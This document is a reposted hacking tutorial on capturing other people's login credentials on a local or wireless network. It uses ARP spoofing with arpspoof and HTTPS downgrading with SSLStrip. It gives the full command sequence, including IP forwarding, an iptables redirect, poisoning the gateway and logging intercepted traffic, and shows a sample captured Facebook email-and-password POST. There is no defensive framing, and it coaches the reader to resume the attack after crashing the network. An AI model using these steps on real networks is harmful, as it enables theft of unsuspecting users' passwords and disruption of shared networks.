Wireless MiTM Attacks

 Collecting Log In Info Through MITM { Man In The Middle } Attack


Ok so I've been reading online and there is quite a lot of tutorials on MiTM attacks but they mostly consist of overall general idea of it. Well today we'll be focusing on a certain type of MiTM attack using some specific tools. Yes, the same result can be achieved by using an automated tool such as ettercap ( I think ) for sniffing out log in credentials. 

So lets begin with the tools that you will need to accomplish this attack.

• Any Linux Distro
• Netstat
• IPTables
• Arpspoof
• SSLStrip

** You can easily find these tools through apt-get or yum, if not then you always have Google on your side **

Overview

So, this type of attack will be focused on ARP { Address Resolution Protocol } Spoofing. You ask what IS ARP Spoofing? Good question. 
ARP Spoofing is also known as

• ARP Flooding
• ARP Poisoning
• ARP Poison Routing

ARP Spoofing is technique used to attack an Ethernet wired/wireless network. It may allow the attacker to sniff data frames, in this case the log in information, on a local area network. The attacker can also modify or redirect traffic, or even stop the traffic. 

Generally, the aim is to associate the attacker's MAC address with the IP address of another node , such as the default gateway. Any traffic meant for that IP address would be mistakenly sent to the attacker instead. The attacker could then choose to forward the traffic to the actual default gateway (passive sniffing) and everything is untouched or modify the data before forwarding it (MiTM attack).


The Attack

[+] To be able to do ARP poisoning, first the attacker, in which case is you, would need to run some commands in terminal:

echo '1' > /proc/sys/net/ipv/ip_forward

[+] Find which of the systems is the router on your network

netstat -nr

[+] Use ARPSpoof to put yourself between the router and all other systems on the network, hens Man-In-The-Middle  .

arpspoof -i wlan0 192.168.1.1

Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again

So what now, that we are connected and everything running smooth? Well here comes the sniffing part...

Sniffing Out Login Info With SSL Strip

What exactly is SSL Strip?

SSL Strip is a tool written by Moxie Marlinspike and released at Black Hat DC 2009. It reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.

So How Exactly Do we Accomplish This?

[+] First we need to set up a firewall rule via iptables to redirect requests from port 80 to port 8080, this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

echo '1' > /proc/sys/net/ipv4/ip_forward

arpspoof -i wlan0 192.168.1.1

sslstrip -k -l 8080

Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log. If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.

tail -f sslstrip.log

Once you're done with your attack, use the ctrl-c key to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.

After shutting down all processes and disconnecting from the network, you can safely analyze the logfile. It might look like a bunch of garbage something like so:

2010-06-27 20:38:24,482 SECURE POST Data (login.facebook.com):

charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%40email.com&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2

Thanks to z3ros3c for the help 

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/519559，如需转载请自行联系原作者